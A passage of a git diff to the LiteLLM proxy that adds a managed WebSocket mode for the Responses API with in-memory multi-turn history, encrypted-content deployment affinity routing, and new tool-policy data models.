%s", e + ) + finally: + await self._log_messages() + + async def client_to_backend(self) -> None: + """Forward response.create events from client to backend.""" + try: + while True: + message = await self.websocket.receive_text() + + self._store_input(message) + self._store_event(message) + await self.backend_ws.send(message) # type: ignore[union-attr] + + except Exception as e: + verbose_logger.debug("Responses WS client_to_backend ended: %s", e) + + async def bidirectional_forward(self) -> None: + """Run both forwarding directions concurrently.""" + forward_task = asyncio.create_task(self.backend_to_client()) + try: + await self.client_to_backend() + except Exception: + pass + finally: + if not forward_task.done(): + forward_task.cancel() + try: + await forward_task + except asyncio.CancelledError: + pass + try: + await self.backend_ws.close() + except Exception: + pass + + +# --------------------------------------------------------------------------- +# Managed WebSocket mode (HTTP-backed, provider-agnostic) +# --------------------------------------------------------------------------- + +_RESPONSE_CREATE_PARAMS = ( + "input", + "model", + "previous_response_id", + "instructions", + "max_output_tokens", + "tools", + "tool_choice", + "temperature", + "top_p", + "store", + "metadata", + "truncation", + "reasoning", + "stream", + "include", + "parallel_tool_calls", + "text", + "user", + "service_tier", + "safety_identifier", + "background", +) + +_MANAGED_WS_SKIP_KWARGS = frozenset( + { + "litellm_logging_obj", + "litellm_call_id", + "aresponses", + "_aresponses_websocket", + "user_api_key_dict", + } +) + + +class ManagedResponsesWebSocketHandler: + """ + Handles Responses API WebSocket mode for providers that do not expose a + native ``wss://`` responses endpoint. + + Instead of proxying to a provider WebSocket, this handler: + - Listens for ``response.create`` events from the client + - Makes HTTP streaming calls via ``litellm.aresponses(stream=True)`` + - Serialises and forwards every streaming event back over the WebSocket + - Supports ``previous_response_id`` for multi-turn conversations via + in-memory session tracking (avoids async DB-write timing issues) + - Supports sequential requests over a single persistent connection + + This makes every provider that LiteLLM can reach over HTTP available on + the WebSocket transport without any provider-specific changes. + """ + + def __init__( + self, + websocket: Any, + model: str, + logging_obj: "LiteLLMLoggingObj", + user_api_key_dict: Optional[Any] = None, + litellm_metadata: Optional[Dict[str, Any]] = None, + api_key: Optional[str] = None, + api_base: Optional[str] = None, + timeout: Optional[float] = None, + custom_llm_provider: Optional[str] = None, + **kwargs: Any, + ) -> None: + self.websocket = websocket + self.model = model + self.logging_obj = logging_obj + self.user_api_key_dict = user_api_key_dict + self.litellm_metadata: Dict[str, Any] = litellm_metadata or {} + self.api_key = api_key + self.api_base = api_base + self.timeout = timeout + self.custom_llm_provider = custom_llm_provider + # Carry through safe pass-through kwargs (e.g. extra_headers) + self.extra_kwargs: Dict[str, Any] = { + k: v for k, v in kwargs.items() if k not in _MANAGED_WS_SKIP_KWARGS + } + # In-memory session history: response_id → list of input+output messages. + # Keyed by the DECODED (pre-encoding) response ID from response.completed. + # This avoids the async DB-write race condition where spend logs haven't + # been committed yet when the next response.create arrives. + self._session_history: Dict[str, List[Dict[str, Any]]] = {} + + # ------------------------------------------------------------------ + # Internal helpers + # ------------------------------------------------------------------ + + @staticmethod + def _serialize_chunk(chunk: Any) -> Optional[str]: + """Serialize a streaming chunk to a JSON string for WebSocket transmission.""" + try: + if hasattr(chunk, "model_dump_json"): + return chunk.model_dump_json(exclude_none=True) + if hasattr(chunk, "model_dump"): + return json.dumps(chunk.model_dump(exclude_none=True), default=str) + if isinstance(chunk, dict): + return json.dumps(chunk, default=str) + return json.dumps(str(chunk)) + except Exception as exc: + verbose_logger.debug("ManagedResponsesWS: failed to serialize chunk: %s", exc) + return None + + async def _send_error(self, message: str, error_type: str = "server_error") -> None: + try: + await self.websocket.send_text( + json.dumps({"type": "error", "error": {"type": error_type, "message": message}}) + ) + except Exception: + pass + + # ------------------------------------------------------------------ + # Core request handler + # ------------------------------------------------------------------ + + def _get_history_messages(self, previous_response_id: str) -> List[Dict[str, Any]]: + """ + Return accumulated message history for *previous_response_id*. + + Checks the in-memory session store first (fast path, no DB round-trip). + The key is the *decoded* response ID (the raw provider response ID before + LiteLLM base64-encodes it into the ``resp_...`` format). + """ + from litellm.responses.utils import ResponsesAPIRequestUtils + + decoded = ResponsesAPIRequestUtils._decode_responses_api_response_id( + previous_response_id + ) + raw_id = decoded.get("response_id", previous_response_id) + return list(self._session_history.get(raw_id, [])) + + def _store_history( + self, + response_id: str, + input_messages: List[Dict[str, Any]], + output_messages: List[Dict[str, Any]], + ) -> None: + """ + Persist a turn's messages in the in-memory session store. + + *response_id* is the raw (decoded) provider ID extracted from the + ``response.completed`` event so that the next turn can look it up via + :meth:`_get_history_messages`. + """ + prior: List[Dict[str, Any]] = self._session_history.get(response_id, []) + self._session_history[response_id] = prior + input_messages + output_messages + + @staticmethod + def _extract_response_id(completed_event: Dict[str, Any]) -> Optional[str]: + """ + Pull the raw (decoded) response ID out of a ``response.completed`` event. + Returns *None* if the event doesn't contain a usable ID. + """ + from litellm.responses.utils import ResponsesAPIRequestUtils + + resp_obj = completed_event.get("response", {}) + encoded_id: Optional[str] = resp_obj.get("id") if isinstance(resp_obj, dict) else None + if not encoded_id: + return None + decoded = ResponsesAPIRequestUtils._decode_responses_api_response_id(encoded_id) + return decoded.get("response_id", encoded_id) + + @staticmethod + def _extract_output_messages(completed_event: Dict[str, Any]) -> List[Dict[str, Any]]: + """ + Convert the output items in a ``response.completed`` event into + chat-completion style messages suitable for the next turn's ``input``. + """ + resp_obj = completed_event.get("response", {}) + if not isinstance(resp_obj, dict): + return [] + messages: List[Dict[str, Any]] = [] + for item in resp_obj.get("output", []) or []: + if not isinstance(item, dict): + continue + item_type = item.get("type") + role = item.get("role", "assistant") + if item_type == "message": + content_parts = item.get("content") or [] + text_parts = [ + p.get("text", "") + for p in content_parts + if isinstance(p, dict) and p.get("type") in ("output_text", "text") + ] + text = "".join(text_parts) + if text: + messages.append({"type": "message", "role": role, "content": [{"type": "output_text", "text": text}]}) + elif item_type == "function_call": + messages.append(item) + return messages + + @staticmethod + def _input_to_messages(input_val: Any) -> List[Dict[str, Any]]: + """ + Normalise the ``input`` field of a ``response.create`` event to a list + of Responses API message dicts. + """ + if isinstance(input_val, str): + return [{"type": "message", "role": "user", "content": [{"type": "input_text", "text": input_val}]}] + if isinstance(input_val, list): + return [item for item in input_val if isinstance(item, dict)] + return [] + + async def _process_response_create(self, raw_message: str) -> None: + """ + Parse one ``response.create`` event, call ``litellm.aresponses(stream=True)``, + and forward every streaming event to the client. + + Multi-turn support via in-memory session history + ------------------------------------------------ + When ``previous_response_id`` is present in the event: + 1. Look up the accumulated message history in ``self._session_history`` + (keyed by the decoded provider response ID). + 2. Prepend those messages to the current ``input`` so the model has full + conversation context. + 3. After the stream completes, extract the new response ID and output + messages from ``response.completed`` and store them in + ``self._session_history`` for the next turn. + + This in-memory approach avoids the async DB-write race condition that + occurs when spend logs haven't been committed by the time the second + ``response.create`` arrives over the same WebSocket connection. + """ + import litellm as _litellm + + try: + msg_obj = json.loads(raw_message) + except json.JSONDecodeError: + await self._send_error("Invalid JSON in response.create event", "invalid_request_error") + return + + if msg_obj.get("type") != "response.create": + # Silently ignore non-response.create messages (e.g. warmup pings) + return + + # Support two wire formats: + # Nested : {"type": "response.create", "response": {"input": [...], ...}} + # Flat : {"type": "response.create", "input": [...], "model": "...", ...} + nested = msg_obj.get("response") + if isinstance(nested, dict) and nested: + response_params: Dict[str, Any] = nested + else: + response_params = {k: v for k, v in msg_obj.items() if k != "type"} + + # Build kwargs for aresponses from the response.create payload + call_kwargs: Dict[str, Any] = {} + for param in _RESPONSE_CREATE_PARAMS: + if param in response_params and response_params[param] is not None: + call_kwargs[param] = response_params[param] + + # Always stream + call_kwargs["stream"] = True + + # Use the model from the event if provided, otherwise fall back to the + # model supplied at WebSocket connect time. + event_model = call_kwargs.pop("model", None) + model = event_model or self.model + + # ---- In-memory multi-turn: prepend history when previous_response_id set ---- + previous_response_id: Optional[str] = call_kwargs.pop("previous_response_id", None) + current_input = call_kwargs.get("input") + current_messages = self._input_to_messages(current_input) + if previous_response_id: + history = self._get_history_messages(previous_response_id) + if history: + # Prepend history; current messages are the new user turn + call_kwargs["input"] = history + current_messages + verbose_logger.debug( + "ManagedResponsesWS: prepended %d history messages for previous_response_id=%s", + len(history), + previous_response_id, + ) + else: + verbose_logger.debug( + "ManagedResponsesWS: no in-memory history for previous_response_id=%s; " + "falling back to DB-based session reconstruction", + previous_response_id, + ) + # Fall back to DB-based session reconstruction (may work for + # cross-connection multi-turn when spend logs are committed) + call_kwargs["previous_response_id"] = previous_response_id + # --------------------------------------------------------------------------- + + # Inject connection-level credentials and metadata. + # Only propagate custom_llm_provider when the request is using the + # same model as the WebSocket connection (i.e. no per-request model + # override). If the payload specifies a different model, let litellm + # re-resolve the provider from the model name so we don't accidentally + # force the wrong backend. + if self.api_key is not None: + call_kwargs["api_key"] = self.api_key + if self.api_base is not None: + call_kwargs["api_base"] = self.api_base + if self.timeout is not None: + call_kwargs["timeout"] = self.timeout + if self.custom_llm_provider is not None and not event_model: + call_kwargs["custom_llm_provider"] = self.custom_llm_provider + if self.litellm_metadata: + call_kwargs["litellm_metadata"] = dict(self.litellm_metadata) + + # Update proxy_server_request body so spend logs record the full request. + proxy_server_request = (call_kwargs.get("litellm_metadata") or {}).get( + "proxy_server_request" + ) or {} + if isinstance(proxy_server_request, dict): + body = dict(proxy_server_request.get("body") or {}) + body["input"] = call_kwargs.get("input") + body["store"] = call_kwargs.get("store") + body["model"] = model + for k in ("tools", "tool_choice", "instructions", "metadata"): + if k in call_kwargs and call_kwargs[k] is not None: + body[k] = call_kwargs[k] + proxy_server_request = dict(proxy_server_request) + proxy_server_request["body"] = body + if "litellm_metadata" not in call_kwargs: + call_kwargs["litellm_metadata"] = {} + call_kwargs["litellm_metadata"]["proxy_server_request"] = proxy_server_request + call_kwargs.setdefault("litellm_params", {}) + call_kwargs["litellm_params"]["proxy_server_request"] = proxy_server_request + + # Merge any safe pass-through kwargs (extra_headers, etc.) + call_kwargs.update(self.extra_kwargs) + + # Track the completed event to update in-memory history after the turn. + completed_event: Optional[Dict[str, Any]] = None + + try: + stream_response = await _litellm.aresponses(model=model, **call_kwargs) + + async for chunk in stream_response: # type: ignore[union-attr] + if chunk is None: + continue + serialized = self._serialize_chunk(chunk) + if serialized is not None: + # Capture the completed event for history bookkeeping + try: + chunk_dict = json.loads(serialized) if isinstance(serialized, str) else {} + if chunk_dict.get("type") == "response.completed": + completed_event = chunk_dict + except Exception: + pass + try: + await self.websocket.send_text(serialized) + except Exception as send_exc: + verbose_logger.debug( + "ManagedResponsesWS: error sending chunk to client: %s", send_exc + ) + return # Client disconnected + + except Exception as exc: + verbose_logger.exception("ManagedResponsesWS: error processing response.create: %s", exc) + await self._send_error(str(exc)) + return + + # ---- Store this turn in in-memory history for future previous_response_id lookups ---- + if completed_event is not None: + new_response_id = self._extract_response_id(completed_event) + if new_response_id: + output_msgs = self._extract_output_messages(completed_event) + # Accumulate: history from previous turn + current input + new output + prior_history: List[Dict[str, Any]] = [] + if previous_response_id: + prior_history = self._get_history_messages(previous_response_id) + self._store_history( + new_response_id, + prior_history + current_messages, + output_msgs, + ) + verbose_logger.debug( + "ManagedResponsesWS: stored %d messages for response_id=%s", + len(prior_history) + len(current_messages) + len(output_msgs), + new_response_id, + ) + # --------------------------------------------------------------------------- + + # ------------------------------------------------------------------ + # Main entry point + # ------------------------------------------------------------------ + + async def run(self) -> None: + """ + Main loop: accept ``response.create`` events sequentially and handle + each one before waiting for the next message. + """ + try: + while True: + try: + message = await self.websocket.receive_text() + except Exception as exc: + verbose_logger.debug( + "ManagedResponsesWS: client disconnected: %s", exc + ) + break + + await self._process_response_create(message) + + except Exception as exc: + verbose_logger.exception("ManagedResponsesWS: unexpected error: %s", exc) + await self._send_error(f"Internal server error: {exc}") diff --git a/litellm/responses/utils.py b/litellm/responses/utils.py index 39aebb262fe..89e89711706 100644 --- a/litellm/responses/utils.py +++ b/litellm/responses/utils.py @@ -217,8 +217,204 @@ class ResponsesAPIRequestUtils: responses_api_response["id"] = updated_id else: responses_api_response.id = updated_id + + if litellm_metadata.get("encrypted_content_affinity_enabled"): + responses_api_response = ( + ResponsesAPIRequestUtils._update_encrypted_content_item_ids_in_response( + response=responses_api_response, + model_id=model_id, + ) + ) + return responses_api_response + @staticmethod + def _build_encrypted_item_id(model_id: str, item_id: str) -> str: + """Encode model_id into an output item ID for encrypted-content items. + + Format: ``encitem_{base64("litellm:model_id:{model_id};item_id:{original_id}")}`` + """ + assembled = f"litellm:model_id:{model_id};item_id:{item_id}" + encoded = base64.b64encode(assembled.encode("utf-8")).decode("utf-8") + return f"encitem_{encoded}" + + @staticmethod + def _decode_encrypted_item_id(encoded_id: str) -> Optional[Dict[str, str]]: + """Decode a litellm-encoded encrypted-content item ID. + + Returns a dict with ``model_id`` and ``item_id`` keys, or ``None`` if + the string is not a litellm-encoded item ID. + """ + if not encoded_id.startswith("encitem_"): + return None + try: + cleaned = encoded_id[len("encitem_"):] + # Restore any padding that may have been stripped in transit + missing = len(cleaned) % 4 + if missing: + cleaned += "=" * (4 - missing) + decoded = base64.b64decode(cleaned.encode("utf-8")).decode("utf-8") + # Split on first ";" only so that semicolons inside item_id are preserved + parts = decoded.split(";", 1) + if len(parts) < 2: + return None + model_id = parts[0].replace("litellm:model_id:", "") + item_id = parts[1].replace("item_id:", "") + return {"model_id": model_id, "item_id": item_id} + except Exception: + return None + + @staticmethod + def _wrap_encrypted_content_with_model_id( + encrypted_content: str, model_id: str + ) -> str: + """Wrap encrypted_content with model_id metadata for affinity routing. + + When Codex or other clients send items with encrypted_content but no ID, + we encode the model_id directly into the encrypted_content itself. + + Format: ``litellm_enc:{base64("model_id:{model_id}")};{original_encrypted_content}`` + """ + metadata = f"model_id:{model_id}" + encoded_metadata = base64.b64encode(metadata.encode("utf-8")).decode("utf-8") + return f"litellm_enc:{encoded_metadata};{encrypted_content}" + + @staticmethod + def _unwrap_encrypted_content_with_model_id( + wrapped_content: str, + ) -> tuple[Optional[str], str]: + """Unwrap encrypted_content to extract model_id and original content. + + Returns: + Tuple of (model_id, original_encrypted_content). + If not wrapped, returns (None, original_content). + """ + if not wrapped_content.startswith("litellm_enc:"): + return None, wrapped_content + + try: + # Split on first ";" to separate metadata from content + parts = wrapped_content.split(";", 1) + if len(parts) < 2: + return None, wrapped_content + + metadata_b64 = parts[0].replace("litellm_enc:", "") + original_content = parts[1] + + # Restore padding if needed + missing = len(metadata_b64) % 4 + if missing: + metadata_b64 += "=" * (4 - missing) + + decoded_metadata = base64.b64decode(metadata_b64.encode("utf-8")).decode( + "utf-8" + ) + model_id = decoded_metadata.replace("model_id:", "") + return model_id, original_content + except Exception: + return None, wrapped_content + + @staticmethod + def _update_encrypted_content_item_ids_in_response( + response: Union["ResponsesAPIResponse", Dict[str, Any]], + model_id: Optional[str], + ) -> Union["ResponsesAPIResponse", Dict[str, Any]]: + """Rewrite item IDs for output items that contain ``encrypted_content``. + + Encodes ``model_id`` into the item ID so that follow-up requests can be + routed back to the originating deployment without any cache lookup. + + For items without an ID (e.g., from Codex), encodes model_id directly + into the encrypted_content itself. + """ + if not model_id: + return response + + output: Optional[list] = None + if isinstance(response, dict): + output = response.get("output") + else: + output = getattr(response, "output", None) + + if not isinstance(output, list): + return response + + for item in output: + if isinstance(item, dict): + item_id = item.get("id") + encrypted_content = item.get("encrypted_content") + + if encrypted_content and isinstance(encrypted_content, str): + # Always wrap encrypted_content with model_id for redundancy + item["encrypted_content"] = ( + ResponsesAPIRequestUtils._wrap_encrypted_content_with_model_id( + encrypted_content, model_id + ) + ) + # Also encode the ID if present + if item_id and isinstance(item_id, str): + item["id"] = ResponsesAPIRequestUtils._build_encrypted_item_id( + model_id, item_id + ) + else: + item_id = getattr(item, "id", None) + encrypted_content = getattr(item, "encrypted_content", None) + + if encrypted_content and isinstance(encrypted_content, str): + # Always wrap encrypted_content with model_id for redundancy + try: + item.encrypted_content = ( + ResponsesAPIRequestUtils._wrap_encrypted_content_with_model_id( + encrypted_content, model_id + ) + ) + except AttributeError: + pass + # Also encode the ID if present + if item_id and isinstance(item_id, str): + try: + item.id = ResponsesAPIRequestUtils._build_encrypted_item_id( + model_id, item_id + ) + except AttributeError: + pass + + return response + + @staticmethod + def _restore_encrypted_content_item_ids_in_input(request_input: Any) -> Any: + """Decode litellm-encoded item IDs in request input back to original IDs. + + Called before forwarding the request to the upstream provider so the + provider receives the original item IDs and unwrapped encrypted_content. + + Handles both: + 1. Items with encoded IDs (encitem_...) + 2. Items with wrapped encrypted_content (litellm_enc:...) + """ + if not isinstance(request_input, list): + return request_input + + for item in request_input: + if isinstance(item, dict): + item_id = item.get("id") + if item_id and isinstance(item_id, str): + decoded = ResponsesAPIRequestUtils._decode_encrypted_item_id(item_id) + if decoded: + item["id"] = decoded["item_id"] + + encrypted_content = item.get("encrypted_content") + if encrypted_content and isinstance(encrypted_content, str): + _, unwrapped = ( + ResponsesAPIRequestUtils._unwrap_encrypted_content_with_model_id( + encrypted_content + ) + ) + if unwrapped != encrypted_content: + item["encrypted_content"] = unwrapped + + return request_input + @staticmethod def _build_responses_api_response_id( custom_llm_provider: Optional[str], diff --git a/litellm/router.py b/litellm/router.py index 5c8d27e76d7..3760f93b620 100644 --- a/litellm/router.py +++ b/litellm/router.py @@ -115,6 +115,9 @@ from litellm.router_utils.handle_error import ( from litellm.router_utils.pre_call_checks.deployment_affinity_check import ( DeploymentAffinityCheck, ) +from litellm.router_utils.pre_call_checks.encrypted_content_affinity_check import ( + EncryptedContentAffinityCheck, +) from litellm.router_utils.pre_call_checks.model_rate_limit_check import ( ModelRateLimitingCheck, ) @@ -882,6 +885,9 @@ class Router: self._arealtime = self.factory_function( litellm._arealtime, call_type="_arealtime" ) + self._aresponses_websocket = self.factory_function( + litellm._aresponses_websocket, call_type="_aresponses_websocket" + ) self.acreate_fine_tuning_job = self.factory_function( litellm.acreate_fine_tuning_job, call_type="acreate_fine_tuning_job" ) @@ -1248,6 +1254,26 @@ class Router: self.optional_callbacks.append(affinity_callback) litellm.logging_callback_manager.add_litellm_callback(affinity_callback) + # --------------------------------------------------------------------- + # Encrypted content affinity + # --------------------------------------------------------------------- + if "encrypted_content_affinity" in optional_pre_call_checks: + from litellm.router_utils.pre_call_checks.encrypted_content_affinity_check import ( + EncryptedContentAffinityCheck, + ) + + if self.optional_callbacks is None: + self.optional_callbacks = [] + + already_registered = any( + isinstance(cb, EncryptedContentAffinityCheck) + for cb in self.optional_callbacks + ) + if not already_registered: + ec_callback = EncryptedContentAffinityCheck() + self.optional_callbacks.append(ec_callback) + litellm.logging_callback_manager.add_litellm_callback(ec_callback) + # --------------------------------------------------------------------- # Remaining optional pre-call checks # --------------------------------------------------------------------- @@ -1257,6 +1283,7 @@ class Router: "deployment_affinity", "responses_api_deployment_check", "session_affinity", + "encrypted_content_affinity", ): continue if pre_call_check == "prompt_caching": @@ -1824,7 +1851,7 @@ class Router: finally: if hasattr(model_response, "close"): try: - model_response.close() + model_response.close() # type: ignore[reportAttributeAccessIssue] except BaseException as close_err: verbose_router_logger.debug( "stream_with_fallbacks: error closing model_response: %s", @@ -4659,6 +4686,7 @@ class Router: "afile_delete", "afile_content", "_arealtime", + "_aresponses_websocket", "acreate_fine_tuning_job", "acancel_fine_tuning_job", "alist_fine_tuning_jobs", @@ -4831,6 +4859,7 @@ class Router: "anthropic_messages", "aresponses", "_arealtime", + "_aresponses_websocket", "acreate_fine_tuning_job", "acancel_fine_tuning_job", "alist_fine_tuning_jobs", @@ -7076,6 +7105,17 @@ class Router: model_group_name=model_id ) + # If still not found, check for wildcard pattern matches + if deployment is None: + potential_wildcard_models = self.pattern_router.route(model_id) or [] + if potential_wildcard_models: + # Use the first matching wildcard deployment + deployment_dict = potential_wildcard_models[0] + if isinstance(deployment_dict, dict): + deployment = Deployment(**deployment_dict) + elif isinstance(deployment_dict, Deployment): + deployment = deployment_dict + if deployment is None: return None @@ -8808,6 +8848,13 @@ class Router: if isinstance(healthy_deployments, dict): return healthy_deployments + # When encrypted content affinity pins to a specific deployment, + if ( + request_kwargs.get("_encrypted_content_affinity_pinned") + and len(healthy_deployments) == 1 + ): + return healthy_deployments[0] + start_time = time.time() if ( self.routing_strategy == "usage-based-routing-v2" diff --git a/litellm/router_utils/pre_call_checks/encrypted_content_affinity_check.py b/litellm/router_utils/pre_call_checks/encrypted_content_affinity_check.py new file mode 100644 index 00000000000..dc44ef13b7c --- /dev/null +++ b/litellm/router_utils/pre_call_checks/encrypted_content_affinity_check.py @@ -0,0 +1,172 @@ +""" +Encrypted-content-aware deployment affinity for the Router. + +When Codex or other models use `store: false` with `include: ["reasoning.encrypted_content"]`, +the response output items contain encrypted reasoning tokens tied to the originating +organization's API key. If a follow-up request containing those items is routed to a +different deployment (different org), OpenAI rejects it with an `invalid_encrypted_content` +error because the organization_id doesn't match. + +This callback solves the problem by encoding the originating deployment's ``model_id`` +into the response output items that carry ``encrypted_content``. Two encoding strategies: + +1. **Items with IDs**: Encode model_id into the item ID itself (e.g., ``encitem_...``) +2. **Items without IDs** (Codex): Wrap the encrypted_content with model_id metadata + (e.g., ``litellm_enc:{base64_metadata};{original_encrypted_content}``) + +The encoded model_id is decoded on the next request so the router can pin to the correct +deployment without any cache lookup. + +Response post-processing (encoding) is handled by +``ResponsesAPIRequestUtils._update_encrypted_content_item_ids_in_response`` which is +called inside ``_update_responses_api_response_id_with_model_id`` in ``responses/utils.py``. + +Request pre-processing (ID/content restoration before forwarding to upstream) is handled by +``ResponsesAPIRequestUtils._restore_encrypted_content_item_ids_in_input`` which is called +in ``get_optional_params_responses_api``. + +This pre-call check is responsible only for the routing decision: it reads the encoded +``model_id`` from either item IDs or wrapped encrypted_content and pins the request to +the matching deployment. + +Safe to enable globally: +- Only activates when encoded markers appear in the request ``input``. +- No effect on embedding models, chat completions, or first-time requests. +- No quota reduction -- first requests are fully load balanced. +- No cache required. +""" + +from typing import Any, List, Optional, cast + +from litellm._logging import verbose_router_logger +from litellm.integrations.custom_logger import CustomLogger, Span +from litellm.responses.utils import ResponsesAPIRequestUtils +from litellm.types.llms.openai import AllMessageValues + + +class EncryptedContentAffinityCheck(CustomLogger): + """ + Routes follow-up Responses API requests to the deployment that produced + the encrypted output items they reference. + + The ``model_id`` is decoded directly from the litellm-encoded item IDs – + no caching or TTL management needed. + + Wired via ``Router(optional_pre_call_checks=["encrypted_content_affinity"])``. + """ + + def __init__(self) -> None: + super().__init__() + + # ------------------------------------------------------------------ + # Helpers + # ------------------------------------------------------------------ + + @staticmethod + def _extract_model_id_from_input(request_input: Any) -> Optional[str]: + """ + Scan ``input`` items for litellm-encoded encrypted-content markers and + return the ``model_id`` embedded in the first one found. + + Checks both: + 1. Encoded item IDs (encitem_...) - for clients that send IDs + 2. Wrapped encrypted_content (litellm_enc:...) - for clients like Codex that don't send IDs + + ``input`` can be: + - a plain string -> no encoded markers + - a list of items -> check each item's ``id`` and ``encrypted_content`` fields + """ + if not isinstance(request_input, list): + return None + + for item in request_input: + if not isinstance(item, dict): + continue + + # First, try to decode from item ID (if present) + item_id = item.get("id") + if item_id and isinstance(item_id, str): + decoded = ResponsesAPIRequestUtils._decode_encrypted_item_id(item_id) + if decoded: + return decoded.get("model_id") + + # If no encoded ID, check if encrypted_content itself is wrapped + encrypted_content = item.get("encrypted_content") + if encrypted_content and isinstance(encrypted_content, str): + ( + model_id, + _, + ) = ResponsesAPIRequestUtils._unwrap_encrypted_content_with_model_id( + encrypted_content + ) + if model_id: + return model_id + + return None + + @staticmethod + def _find_deployment_by_model_id( + healthy_deployments: List[dict], model_id: str + ) -> Optional[dict]: + for deployment in healthy_deployments: + model_info = deployment.get("model_info") + if not isinstance(model_info, dict): + continue + deployment_model_id = model_info.get("id") + if deployment_model_id is not None and str(deployment_model_id) == str( + model_id + ): + return deployment + return None + + # ------------------------------------------------------------------ + # Request routing (pre-call filter) + # ------------------------------------------------------------------ + + async def async_filter_deployments( + self, + model: str, + healthy_deployments: List, + messages: Optional[List[AllMessageValues]], + request_kwargs: Optional[dict] = None, + parent_otel_span: Optional[Span] = None, + ) -> List[dict]: + """ + If the request ``input`` contains litellm-encoded item IDs, decode the + embedded ``model_id`` and pin the request to that deployment. + """ + request_kwargs = request_kwargs or {} + typed_healthy_deployments = cast(List[dict], healthy_deployments) + + # Signal to the response post-processor that encrypted item IDs should be + # encoded in the output of this request. + litellm_metadata = request_kwargs.setdefault("litellm_metadata", {}) + litellm_metadata["encrypted_content_affinity_enabled"] = True + + request_input = request_kwargs.get("input") + model_id = self._extract_model_id_from_input(request_input) + if not model_id: + return typed_healthy_deployments + + verbose_router_logger.debug( + "EncryptedContentAffinityCheck: decoded model_id=%s from input item IDs", + model_id, + ) + + deployment = self._find_deployment_by_model_id( + healthy_deployments=typed_healthy_deployments, + model_id=model_id, + ) + if deployment is not None: + verbose_router_logger.debug( + "EncryptedContentAffinityCheck: pinning -> deployment=%s", + model_id, + ) + request_kwargs["_encrypted_content_affinity_pinned"] = True + return [deployment] + + verbose_router_logger.error( + "EncryptedContentAffinityCheck: decoded deployment=%s not found in healthy_deployments", + model_id, + ) + return typed_healthy_deployments diff --git a/litellm/types/guardrails.py b/litellm/types/guardrails.py index a68c4e2f762..dc95ed3314a 100644 --- a/litellm/types/guardrails.py +++ b/litellm/types/guardrails.py @@ -718,7 +718,7 @@ class BaseLitellmParams( class Mode(BaseModel): tags: Dict[str, str] = Field(description="Tags for the guardrail mode") - default: Optional[str] = Field( + default: Optional[Union[str, List[str]]] = Field( default=None, description="Default mode when no tags match" ) diff --git a/litellm/types/llms/openai.py b/litellm/types/llms/openai.py index f82f6a02f22..c5d610e639b 100644 --- a/litellm/types/llms/openai.py +++ b/litellm/types/llms/openai.py @@ -71,7 +71,14 @@ from openai.types.responses.response_create_params import ( ToolParam, ) from openai.types.responses.response_function_tool_call import ResponseFunctionToolCall -from pydantic import BaseModel, ConfigDict, Discriminator, PrivateAttr, field_serializer, field_validator +from pydantic import ( + BaseModel, + ConfigDict, + Discriminator, + PrivateAttr, + field_serializer, + field_validator, +) from typing_extensions import Annotated, Dict, Required, TypedDict, override from litellm.types.llms.base import BaseLiteLLMOpenAIResponseObject @@ -417,6 +424,7 @@ class CreateBatchRequest(TypedDict, total=False): endpoint: Literal["/v1/chat/completions", "/v1/embeddings", "/v1/completions"] input_file_id: str metadata: Optional[Dict[str, str]] + output_expires_after: Optional[FileExpiresAfter] extra_headers: Optional[Dict[str, str]] extra_body: Optional[Dict[str, str]] timeout: Optional[float] @@ -964,6 +972,10 @@ class Hyperparameters(BaseModel): n_epochs: Optional[Union[str, int]] = ( None # "The number of epochs to train the model for" ) + + model_config = { + "extra": "allow" + } class FineTuningJobCreate(BaseModel): diff --git a/litellm/types/llms/vertex_ai.py b/litellm/types/llms/vertex_ai.py index 049a5010c79..190e680b7b9 100644 --- a/litellm/types/llms/vertex_ai.py +++ b/litellm/types/llms/vertex_ai.py @@ -560,7 +560,7 @@ class VertexAIBatchEmbeddingsResponseObject(TypedDict): class GcsSource(TypedDict): - uris: str + uris: List[str] class InputConfig(TypedDict): diff --git a/litellm/types/mcp_server/mcp_server_manager.py b/litellm/types/mcp_server/mcp_server_manager.py index 69b34a25a21..cabac6b9d51 100644 --- a/litellm/types/mcp_server/mcp_server_manager.py +++ b/litellm/types/mcp_server/mcp_server_manager.py @@ -53,6 +53,7 @@ class MCPServer(BaseModel): access_groups: Optional[List[str]] = None allow_all_keys: bool = False available_on_public_internet: bool = True + created_at: Optional[datetime] = None updated_at: Optional[datetime] = None model_config = ConfigDict(arbitrary_types_allowed=True) diff --git a/litellm/types/router.py b/litellm/types/router.py index aa4d7bd9a97..fca731d1f91 100644 --- a/litellm/types/router.py +++ b/litellm/types/router.py @@ -813,6 +813,7 @@ OptionalPreCallChecks = List[ "session_affinity", "forward_client_headers_by_model_group", "enforce_model_rate_limits", + "encrypted_content_affinity", ] ] diff --git a/litellm/types/tool_management.py b/litellm/types/tool_management.py index 8704ff27759..1c5e1df9e9a 100644 --- a/litellm/types/tool_management.py +++ b/litellm/types/tool_management.py @@ -5,21 +5,27 @@ Pydantic models for Tool Policy management endpoints. from datetime import datetime from typing import Dict, List, Literal, Optional -from pydantic import BaseModel +from pydantic import BaseModel, Field ToolCallPolicy = Literal["trusted", "untrusted", "dual_llm", "blocked"] +ToolInputPolicy = Literal["trusted", "untrusted", "blocked"] +ToolOutputPolicy = Literal["trusted", "untrusted"] + class LiteLLM_ToolTableRow(BaseModel): tool_id: str tool_name: str origin: Optional[str] = None - call_policy: ToolCallPolicy = "untrusted" + input_policy: ToolInputPolicy = "untrusted" + output_policy: ToolOutputPolicy = "untrusted" call_count: int = 0 assignments: Optional[Dict] = None key_hash: Optional[str] = None team_id: Optional[str] = None key_alias: Optional[str] = None + user_agent: Optional[str] = None + last_used_at: Optional[datetime] = None created_at: Optional[datetime] = None updated_at: Optional[datetime] = None created_by: Optional[str] = None @@ -33,10 +39,62 @@ class ToolListResponse(BaseModel): class ToolPolicyUpdateRequest(BaseModel): tool_name: str - call_policy: ToolCallPolicy + input_policy: Optional[ToolInputPolicy] = None + output_policy: Optional[ToolOutputPolicy] = None + team_id: Optional[str] = None + key_hash: Optional[str] = None + key_alias: Optional[str] = None class ToolPolicyUpdateResponse(BaseModel): tool_name: str - call_policy: ToolCallPolicy + input_policy: Optional[ToolInputPolicy] = None + output_policy: Optional[ToolOutputPolicy] = None updated: bool + team_id: Optional[str] = None + key_hash: Optional[str] = None + + +class ToolPolicyOverrideRow(BaseModel): + override_id: str + tool_name: str + team_id: Optional[str] = None + key_hash: Optional[str] = None + input_policy: ToolInputPolicy = "blocked" + key_alias: Optional[str] = None + created_at: Optional[datetime] = None + updated_at: Optional[datetime] = None + + +class ToolPolicyOption(BaseModel): + value: str + label: str + description: str + + +class ToolPolicyOptionsResponse(BaseModel): + 